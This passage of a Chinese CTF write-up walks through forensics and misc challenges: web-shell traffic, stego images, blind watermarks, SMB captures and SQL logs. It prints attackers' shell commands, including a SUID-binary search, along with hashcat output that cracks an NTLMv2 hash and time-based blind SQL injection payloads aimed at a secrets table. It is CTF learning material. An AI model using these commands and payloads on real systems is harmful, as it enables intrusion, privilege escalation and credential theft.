root 322 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_30]
root 323 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_30]
root 324 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_31]
root 325 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_31]
root 352 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_32]
root 353 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_32]
root 370 0.0 0.0 0 0 ? I< 09:13 0:00 [kdmflush]
root 400 0.0 0.0 0 0 ? I< 09:13 0:00 [raid5wq]
root 448 0.0 0.0 0 0 ? S 09:13 0:00 [jbd2/dm-0-8]
root 449 0.0 0.0 0 0 ? I< 09:13 0:00 [ext4-rsv-conver]
root 525 0.0 0.4 64268 18632 ? S<s 09:13 0:00 /lib/systemd/systemd-journald
root 554 0.0 0.0 0 0 ? I< 09:13 0:00 [kaluad]
root 557 0.0 0.1 26036 6892 ? Ss 09:13 0:00 /lib/systemd/systemd-udevd
root 558 0.0 0.0 0 0 ? I< 09:13 0:00 [kmpath_rdacd]
root 559 0.0 0.0 0 0 ? I< 09:13 0:00 [kmpathd]
root 560 0.0 0.0 0 0 ? I< 09:13 0:00 [kmpath_handlerd]
root 561 0.0 0.6 354884 27096 ? SLsl 09:13 0:04 /sbin/multipathd -d -s
root 693 0.0 0.0 0 0 ? S 09:13 0:00 [jbd2/sda2-8]
root 694 0.0 0.0 0 0 ? I< 09:13 0:00 [ext4-rsv-conver]
systemd+ 711 0.0 0.1 89364 6624 ? Ssl 09:13 0:00 /lib/systemd/systemd-timesyncd
root 740 0.0 0.3 51152 12060 ? Ss 09:13 0:00 /usr/bin/VGAuthService
root 741 0.3 0.2 314820 9360 ? Ssl 09:13 0:51 /usr/bin/vmtoolsd
systemd+ 846 0.0 0.3 26332 13300 ? Ss 09:13 0:00 /lib/systemd/systemd-resolved
root 857 0.0 0.0 6896 3088 ? Ss 09:13 0:00 /usr/sbin/cron -f -P
message+ 858 0.0 0.1 8872 5060 ? Ss 09:13 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 864 0.0 0.1 82832 3992 ? Ssl 09:13 0:00 /usr/sbin/irqbalance --foreground
root 865 0.0 0.4 32820 19588 ? Ss 09:13 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 866 0.0 0.1 234504 6636 ? Ssl 09:13 0:00 /usr/libexec/polkitd --no-debug
syslog 867 0.0 0.1 222404 6244 ? Ssl 09:13 0:00 /usr/sbin/rsyslogd -n -iNONE
root 871 0.0 0.8 1321412 32464 ? Ssl 09:13 0:02 /usr/lib/snapd/snapd
root 873 0.0 0.1 15536 7212 ? Ss 09:13 0:00 /lib/systemd/systemd-logind
root 875 0.0 0.3 392628 12828 ? Ssl 09:13 0:00 /usr/libexec/udisks2/udisksd
root 897 0.0 0.1 7852 4828 tty1 Ss 09:13 0:00 /bin/login -p --
root 908 0.0 0.3 317968 12416 ? Ssl 09:13 0:00 /usr/sbin/ModemManager
root 919 0.0 0.2 15440 9364 ? Ss 09:13 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 930 0.0 0.5 109788 21716 ? Ssl 09:13 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root 1071 0.0 1.8 1972468 71704 ? Ssl 09:13 0:04 dockerd --group docker --exec-root=/run/snap.docker --data-root=/var/snap/docker/common/var-lib-docker --pidfile=/run/snap.docker/docker.pid --config-file=/var/snap/docker/3265/config/daemon.json
root 1435 0.3 1.1 1802020 44404 ? Ssl 09:13 0:43 containerd --config /run/snap.docker/containerd/containerd.toml
c3ngh 4070 0.0 0.2 17080 9532 ? Ss 10:04 0:00 /lib/systemd/systemd --user
c3ngh 4071 0.0 0.0 169388 3856 ? S 10:04 0:00 (sd-pam)
c3ngh 4078 0.0 0.1 8744 5504 tty1 S+ 10:04 0:00 -bash
systemd+ 6216 0.0 0.1 16256 7924 ? Ss 10:36 0:00 /lib/systemd/systemd-networkd
root 6586 6.0 1.5 2368452 60300 ? Ssl 10:39 8:25 /xp/panel/app
root 6587 0.0 0.1 578348 7272 ? Ssl 10:39 0:00 /xp/tasks/xp-tasks
root 6665 0.0 0.7 168680 28084 ? Ss 10:40 0:02 /xp/server/apache/bin/httpd -k start
root 6848 0.0 0.2 193112 9928 ? Ss 10:40 0:01 php-fpm: master process (/xp/server/php/php-7.4/etc/php-fpm.conf)
www 6849 0.0 0.5 193544 21528 ? S 10:40 0:00 php-fpm: pool www
www 6850 0.0 0.5 193544 21224 ? S 10:40 0:00 php-fpm: pool www
www 9492 0.1 0.2 1587116 11088 ? Sl 11:02 0:12 /xp/server/apache/bin/httpd -k start
www 9493 0.2 0.2 1718268 11820 ? Sl 11:02 0:14 /xp/server/apache/bin/httpd -k start
www 9494 0.1 0.2 1587116 11532 ? Sl 11:02 0:12 /xp/server/apache/bin/httpd -k start
www 9856 0.1 0.2 1587116 10724 ? Sl 11:06 0:11 /xp/server/apache/bin/httpd -k start
root 10417 0.0 1.0 475504 42540 ? Ssl 11:17 0:02 /usr/libexec/fwupd/fwupd
root 10418 0.4 0.0 0 0 ? I 11:17 0:25 [kworker/0:1-events]
root 10444 0.0 0.2 239628 8660 ? Ssl 11:18 0:00 /usr/libexec/upowerd
root 10470 0.0 0.0 81388 856 ? Ss 11:18 0:00 gpg-agent --homedir /var/lib/fwupd/gnupg --use-standard-socket --daemon
root 10935 0.0 0.0 0 0 ? I 11:31 0:01 [kworker/u256:2-events_power_efficient]
root 12409 0.2 0.0 0 0 ? I 12:05 0:09 [kworker/1:0-events]
root 12410 0.0 0.0 0 0 ? I 12:05 0:00 [kworker/0:0-events]
root 13233 0.0 0.0 0 0 ? I 12:30 0:00 [kworker/u256:0-events_power_efficient]
root 13818 0.0 0.0 0 0 ? I 12:48 0:00 [kworker/1:1]
root 13820 0.0 0.0 0 0 ? I 12:48 0:00 [kworker/u256:3-events_power_efficient]
www 14312 0.0 0.0 7316 3444 ? R 12:58 0:00 ps -aux

过于墨迹了

shell(18).php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cd /xp/www/week2/uploads/ ;ls /

bin
boot
cdrom
dev
etc
flag
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
xp

shell(21).php

1
cd /xp/www/week2/uploads/ ;cd /

shell(24).php

1
2
3
4
5
$cmd="Y2QgLyA7ZmluZCAvIC1wZXJtIC00MDAwIC10eXBlIGYgMj4vZGV2L251bGw=";
$cmd=base64_decode($cmd);
$path="Lw==";
$path=base64_decode($path);
main($cmd,$path);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
cd / ;find / -perm -4000 -type f 2>/dev/null

/snap/snapd/21759/usr/lib/snapd/snap-confine
/snap/core20/2318/usr/bin/chfn
/snap/core20/2318/usr/bin/chsh
/snap/core20/2318/usr/bin/gpasswd
/snap/core20/2318/usr/bin/mount
/snap/core20/2318/usr/bin/newgrp
/snap/core20/2318/usr/bin/passwd
/snap/core20/2318/usr/bin/su
/snap/core20/2318/usr/bin/sudo
/snap/core20/2318/usr/bin/umount
/snap/core20/2318/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2318/usr/lib/openssh/ssh-keysign
/snap/core22/2045/usr/bin/chfn
/snap/core22/2045/usr/bin/chsh
/snap/core22/2045/usr/bin/gpasswd
/snap/core22/2045/usr/bin/mount
/snap/core22/2045/usr/bin/newgrp
/snap/core22/2045/usr/bin/passwd
/snap/core22/2045/usr/bin/su
/snap/core22/2045/usr/bin/sudo
/snap/core22/2045/usr/bin/umount
/snap/core22/2045/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2045/usr/lib/openssh/ssh-keysign
/snap/core22/2045/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/openssl
/usr/bin/su
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

看到snap天生应激%%。看样子是想SUID提权了(并没有)。

shell(27).php

1
cd / ;openssl enc -des3 -salt -k W3lc0me2m1sc -in /flag -out /xp/www/week2/uploads/flag_decrypted.zip

他喵的早知道从后往前看了。。。

本地执行:

1
openssl enc -d -des3 -k W3lc0me2m1sc -in flag_decrypted.zip -out flag.zip
1
2
3
4
5
6
7
8
(base) ➜  [Week2] 布豪有黑客(二) unzip flag.zip
Archive: flag.zip
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.
unzip: cannot find zipfile directory in one of flag.zip or
flag.zip.zip, and cannot find flag.zip.ZIP, period.

嗯????

1
2
3
4
(base) ➜  [Week2] 布豪有黑客(二) file flag.zip
flag.zip: ASCII text, with no line terminators
(base) ➜ [Week2] 布豪有黑客(二) cat flag.zip
flag{1z_Beh1nd3r_Web5he1L_Ne7w0rk_Tr4ff1c}%

嗷嗷~~

[Week2] 破碎的拼图

查看hint,得知使用了steghidemacOS妹有啊,使用orb,我Chao!Arch Linux也妹有,好吧得blackarch
我超!我Orb炸了,他喵的出师不利。

1
steghide extract -sf image.jpg -p ?CTF

获得flag_A.z02 flag_B.z01 flag_C.zip,统一重命名为
flag_A.z02 flag_A.z01 flag_A.zip,点击zip解压,获得flag.doc

1
flag{br0k3n_p1eces_r3a553mb13d_7h3_puzz13}

[Week2] 文化木的侦探委托(二)

文化木在解出了图片里的求助信号后,她的电脑突然开始自己动了起来,并又下载得到了一张图片,同时电脑上出现了两行字。
【表面无异,隐形涟漪里藏着求助的回声。】
【捕捉波纹,对比参差,真相会回应你。】
(注:flag内为可识别的明文,仅首个单词的首字母大写,以flag{}包裹)

用010Editor打开,发现:

1
tEXtCommentEh, you actually managed to find this place... Then let me give you a little more hint. If you truly understand the structure of a PNG file, do you know what a blind watermark is?

010Editor发现chunk[104]大小<200CH,chunk[105]>200CH,推测尾部附带了一张照片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
# rebuild_png_from_idat.py
# Usage:
# python3 rebuild_png_from_idat.py original.png idat_104.bin out.png
#
# It extracts IHDR from original.png and builds a new PNG containing:
# PNG signature + IHDR (from original) + single IDAT (data from idat file) + IEND
#
# Note: this assumes the idat_104.bin you have is exactly the IDAT "data" field (raw zlib bytes),
# i.e. what you'd get by extracting chunk data (not including length/type/crc).

import sys, struct, zlib, os

def read_chunks(fn):
b = open(fn,'rb').read()
if not b.startswith(b'\x89PNG\r\n\x1a\n'):
raise SystemExit("Not a PNG: " + fn)
pos = 8
chunks = []
while pos + 8 <= len(b):
length = struct.unpack(">I", b[pos:pos+4])[0]
ctype = b[pos+4:pos+8]
data = b[pos+8:pos+8+length]
crc = struct.unpack(">I", b[pos+8+length:pos+8+length+4])[0] if pos+8+length+4 <= len(b) else None
chunks.append((pos, length, ctype, data, crc))
pos = pos + 8 + length + 4
if ctype == b'IEND':
break
return chunks

def extract_ihdr(original_png):
chunks = read_chunks(original_png)
for (pos,length,ctype,data,crc) in chunks:
if ctype == b'IHDR':
if length != 13:
raise SystemExit("IHDR length unexpected: %d" % length)
return data
raise SystemExit("IHDR chunk not found in " + original_png)

def write_chunk(f, ctype, data):
f.write(struct.pack(">I", len(data)))
f.write(ctype)
f.write(data)
crc = zlib.crc32(ctype + data) & 0xffffffff
f.write(struct.pack(">I", crc))

def rebuild(original_png, idat_bin, out_png):
ihdr = extract_ihdr(original_png)
idat_data = open(idat_bin, 'rb').read()

# sanity: ensure idat_data is non-empty
if len(idat_data) == 0:
raise SystemExit("Empty IDAT data file: " + idat_bin)

with open(out_png, 'wb') as f:
# PNG signature
f.write(b'\x89PNG\r\n\x1a\n')
# IHDR
write_chunk(f, b'IHDR', ihdr)
# Single IDAT with your data
write_chunk(f, b'IDAT', idat_data)
# IEND
write_chunk(f, b'IEND', b'')
print("Wrote", out_png, " (IHDR from", original_png, ", IDAT from", idat_bin, ")")

if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python3 rebuild_png_from_idat.py original.png idat_104.bin out.png")
sys.exit(1)
original_png = sys.argv[1]
idat_bin = sys.argv[2]
out_png = sys.argv[3]
rebuild(original_png, idat_bin, out_png)
1
python bb.py Blind2.png idat_104.bin out.png

使用https://github.com/chishaxie/BlindWaterMark提取盲水印:

1
(base) ➜  BlindWaterMark git:(master) python bwmforpy3.py decode ../Blind2.png ../out.png aaaaa.png

aaaaa

1
flag{W@tch_underw@ter}

我瞎了

[Week3] 布豪有黑客(三)

c3的linux服务器暂时安全了…但c3的Windows呢?不仅有弱口令,flag所在的文件夹好像还被共享了…?

参考https://goodlunatic.github.io/posts/5422d65/#提取-ntlmv2-哈希值并破解smb协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
(base) ➜  [Week3] 布豪有黑客(三) python NTLMRawUnHide.py -i 布豪有黑客\(三\).pcapng
/%( rockyou.txt
-= Find NTLMv2 =- ,@@@@@@@@&e.py smb.hash
/%&@@@@&, -= hashes w/ =- %@@@@@@@@@@@*
(@@@@@@@@@@@( -= NTLMRawUnHide.py =- *@@@@@@@@@@@@@@@.
&@@@@@@@@@@@@@@&. @@@@@@@@@@@@@@@@@@(
,@@@@@@@@@@@@@@@@@@@/ .%@@@@@@@@@@@@@@@@@@@@@
/@@@@@@@#&@&*.,/@@@@(. ,%@@@@&##(%@@@@@@@@@.
(@@@@@@@(##(. .#&@%%( .&&@@&( ,/@@@@@@#
%@@@@@@&*/((. #( ,(@& ,%@@@@@@*
@@@@@@@&,/(* , .,&@@@@@#
@@@@@@@/*//, .,,,**
.,, ...
.#@@@@@@@(.
/@@@@@@@@@@@&
.@@@@@@@@@@@*
.(&@@@%/. ..
(@@& %@@. .@@@,
/@@# @@@, %@&
&@@&. @@@/ @@@#
. %@@@( ,@@@# @@@( ,
*@@/ .@@@@@( #@%
*@@%. &@@@@@@@@, /@@@.
.@@@@@@@@@@@&. .*@@@@@@@@@@@/.
.%@@@@%, /%@@@&(.


Searching 布豪有黑客(三).pcapng for NTLMv2 hashes...

Found NTLMSSP Message Type 1 : Negotiation

Found NTLMSSP Message Type 2 : Challenge
> Server Challenge : 91e15fed933eff0c

Found NTLMSSP Message Type 3 : Authentication
> Domain : C3NGH--DESKTOP
> Username : rockyou
> Workstation : C3NGH--DESKTOP

NTLMv2 Hash recovered:
rockyou::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000

(base) ➜ [Week3] 布豪有黑客(三) vim hash.txt
(base) ➜ [Week3] 布豪有黑客(三) hashcat -m 5600 hash.txt rockyou.txt
hashcat (v7.1.2) starting

METAL API (Metal 370.63.1)ss. Please be patient....
==========================
* Device #01: Apple M4 Pro, skipped

OpenCL API (OpenCL 1.2 (Aug 2 2025 21:16:03)) - Platform #1 [Apple]
====================================================================
* Device #02: Apple M4 Pro, GPU, 19169/38338 MB (3594 MB allocatable), 16MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique saltstient...
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 100c

Host memory allocated for this attack: 793 MB (18087 MB free)...

Dictionary cache hit:lease be patient...
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

ROCKYOU::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000:poohkitty13

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ROCKYOU::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a9...000000
Time.Started.....: Sat Oct 11 18:48:31 2025 (0 secs)
Time.Estimated...: Sat Oct 11 18:48:31 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#02........: 27172.5 kH/s (0.16ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 5242880/14344384 (36.55%)
Rejected.........: 0/5242880 (0.00%)
Restore.Point....: 4194304/14344384 (29.24%)
Restore.Sub.#02..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#02...: roganoan -> n1ckos
Hardware.Mon.SMC.: Fan0: 0%, Fan1: 0%
Hardware.Mon.#02.: Util: 59% Pwr:1219mW

Started: Sat Oct 11 18:48:30 2025
Stopped: Sat Oct 11 18:48:32 2025

密码为poohkitty13

wireshark1
wireshark2

好,导出flag.txt

1
flag{D0_U_L1k3_1z_NTLMv2_4nd_r0ckYouuuuu~}

总结:这题做的时候并不顺利,那个hash.txt搞了半天,果然工具得好。

[Week3] 文化木的侦探委托(三)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(base) ➜  [Week3] 文化木的侦探委托(三) cp 175248_损坏了的压缩包.zip damaged.zip
(base) ➜ [Week3] 文化木的侦探委托(三) file damaged.zip
damaged.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
(base) ➜ [Week3] 文化木的侦探委托(三) unzip -v damaged.zip
Archive: damaged.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
13643 Stored 10928 20% 10-06-2025 01:03 3559b49a
-------- ------- --- -------
13643 10928 20% 1 file

note: didn't find end-of-central-dir signature at end of central dir.
(base) ➜ [Week3] 文化木的侦探委托(三) unzip damaged.zip
Archive: damaged.zip
: mismatching "local" filename (flag.docx),
continuing with "central" filename version
mapname: conversion of failed

note: didn't find end-of-central-dir signature at end of central dir.
(please check that you have transferred or created the zipfile in the
appropriate BINARY mode and that you have compiled UnZip properly)
(base) ➜ [Week3] 文化木的侦探委托(三) zip -FF damaged.zip --out repaired.zip
Fix archive (-FF) - salvage what can
Found end record (EOCDR) - says expect single disk archive
Scanning for entries...
copying: flag.docx (10928 bytes)
Central Directory found...
no local entry:
EOCDR found ( 1 11058)...
(base) ➜ [Week3] 文化木的侦探委托(三) ls
175248_损坏了的压缩包.zip damaged.zip repaired.zip

[Week4] 布豪有黑客(四)

Time-based SQL Blind Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import re
from datetime import datetime

def find_slow_sql_queries(log_filepath, delay_threshold_seconds=2):
"""
分析日志文件,找出响应时间超过阈值的SQL查询(慢响应)。

Args:
log_filepath (str): access.log文件的路径。
delay_threshold_seconds (int): 定义慢响应的秒数阈值。
"""
# 正则表达式用于匹配包含时间戳和SQL查询的行
# 只关心包含RANDOMBLOB的攻击payload
log_pattern = re.compile(
r"\[(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})\]" # 匹配 [YYYY-MM-DD HH:MM:SS]
r".*?Query: (SELECT.*?RANDOMBLOB.*)" # 匹配 "Query: SELECT...RANDOMBLOB..."
)

parsed_queries = []
print(f"[*] 正在读取日志文件: {log_filepath}")

try:
with open(log_filepath, 'r', encoding='utf-8') as f:
for line in f:
match = log_pattern.search(line)
if match:
timestamp_str, query = match.groups()
timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S")
parsed_queries.append({
"timestamp": timestamp,
"query": query.strip().rstrip('|').strip()
})
except FileNotFoundError:
print(f"[!] 错误: 文件 '{log_filepath}' 未找到。")
return
except Exception as e:
print(f"[!] 读取或解析文件时发生错误: {e}")
return

print(f"[*] 共找到 {len(parsed_queries)} 条攻击查询。")
print(f"[*] 正在分析延迟超过 {delay_threshold_seconds} 秒的慢响应...\n")
print("-" * 50)

slow_response_count = 0
# 比较连续查询的时间戳,找出慢响应
for i in range(len(parsed_queries) - 1):
current_log = parsed_queries[i]
next_log = parsed_queries[i+1]

# 计算两个查询之间的时间差
time_difference = (next_log["timestamp"] - current_log["timestamp"]).total_seconds()

# 如果时间差大于等于阈值,则为慢响应
if time_difference >= delay_threshold_seconds:
slow_response_count += 1
print(f"[*] 慢响应 #{slow_response_count}")
print(f" 时间: {current_log['timestamp']}")
print(f" 延迟: {time_difference:.0f} 秒")
print(f" 查询: {current_log['query']}\n")

print("-" * 50)
print(f"\n[+] 分析完成。共找到 {slow_response_count} 个慢响应。")


if __name__ == "__main__":
# 将日志文件命名为 access.log 并与此脚本放在同一目录下
LOG_FILE = 'access.log'
# 攻击者使用的payload会导致大约2-3秒的延迟,因此阈值设为2
DELAY_THRESHOLD = 2
find_slow_sql_queries(LOG_FILE, DELAY_THRESHOLD)

输出(部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[*] 正在读取日志文件: access.log
[*] 共找到 211 条攻击查询。
[*] 正在分析延迟超过 2 秒的慢响应...

--------------------------------------------------
[*] 慢响应 #1
时间: 2025-10-01 13:42:30
延迟: 3 秒
查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key='flag' LIMIT 1) >= 70 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3

[*] 慢响应 #2
时间: 2025-10-01 13:42:33
延迟: 2 秒
查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 25 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3

[*] 慢响应 #3
时间: 2025-10-01 13:42:35
延迟: 3 秒
查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 31 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3

[*] 慢响应 #4
时间: 2025-10-01 13:42:38
延迟: 2 秒
查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key='flag' LIMIT 1) >= 79 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3

[*] 慢响应 #5
时间: 2025-10-01 13:42:40
延迟: 2 秒
查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key='flag' LIMIT 1) >= 91 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3

[*] 慢响应 #6
时间: 2025-10-01 13:42:42
延迟: 3 秒
查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key='flag' LIMIT 1) >= 97 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3

把输出丢给Gemini,其实再写个py或者肉眼瞪一下也行,但时间上不划算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
我们逐个分析慢响应日志,还原被窃取的数据。攻击者首先探测了flag的长度,然后逐个字符进行猜测。
确定Flag长度

慢响应 #2: (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 25 为 真。
慢响应 #3: (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 31 为 真。
(日志中没有 ... >= 32 的慢响应,可以推断该查询为假)
结论:Flag 的长度为 31 个字符。

逐字符分析 通过分析每个SUBSTR(value, N, 1)的测试条件,我们可以确定第N个字符的ASCII码或十六进制值。攻击者使用了二分法或类似的搜索算法来快速定位每个字符的值。我们取每个位置最后一个为“真”的条件作为该字符的值。

字符 1: UNICODE(...) >= 102 为真,... >= 103 为假。ASCII码为 102,即 'f'。
字符 2: HEX(...) >= '6C' 为真,... >= '6D' 为假。十六进制为 0x6C,即 'l'。
字符 3: UNICODE(...) >= 97 为真,... >= 98 为假。ASCII码为 97,即 'a'。
字符 4: ... >= CHAR(103) 为真,... >= CHAR(104) 为假。ASCII码为 103,即 'g'。
字符 5: UNICODE(...) + 10 >= 133 (即 UNICODE(...) >= 123) 为真,... >= 124 为假。ASCII码为 123,即 '{'。
字符 6: UNICODE(...) >= 56 为真,... >= 57 为假。ASCII码为 56,即 '8'。
字符 7: HEX(...) >= '31' 为真,... >= '32' 为假。十六进制为 0x31,即 '1'。
字符 8: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。
字符 9: UNICODE(...) >= 110 为真,... >= 111 为假。ASCII码为 110,即 'n'。
字符 10: UNICODE(...) >= 100 为真,... >= 101 为假。ASCII码为 100,即 'd'。
字符 11: HEX(...) >= '5F' 为真,... >= '60' 为假。十六进制为 0x5F,即 '_'。
字符 12: UNICODE(...) >= 53 为真,... >= 54 为假。ASCII码为 53,即 '5'。
字符 13: UNICODE(...) >= 113 为真,... >= 114 为假。ASCII码为 113,即 'q'。
字符 14: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。
字符 15: 4 + UNICODE(...) >= 99 (即 UNICODE(...) >= 95) 为真,... >= 96 为假。ASCII码为 95,即 '_'。
字符 16: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。
字符 17: UNICODE(...) >= 110 为真,... >= 111 为假。ASCII码为 110,即 'n'。
字符 18: UNICODE(...) >= 106 为真,... >= 107 为假。ASCII码为 106,即 'j'。
字符 19: UNICODE(...) >= 51 为真,... >= 52 为假。ASCII码为 51,即 '3'。
字符 20: UNICODE(...) >= 99 为真,... >= 100 为假。ASCII码为 99,即 'c'。
字符 21: UNICODE(...) >= 55 为真,... >= 56 为假。ASCII码为 55,即 '7'。
字符 22: HEX(...) >= '5F' 为真,... >= '60' 为假。十六进制为 0x5F,即 '_'。
字符 23: UNICODE(...) >= 52 为真,... >= 53 为假。ASCII码为 52,即 '4'。
字符 24: ... >= CHAR(110) 为真,... >= CHAR(111) 为假。ASCII码为 110,即 'n'。
字符 25: UNICODE(...) + 10 >= 62 (即 UNICODE(...) >= 52) 为真,... >= 53 为假。ASCII码为 52,即 '4'。
字符 26: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。
字符 27: HEX(...) >= '79' 为真,... >= '7A' 为假。十六进制为 0x79,即 'y'。
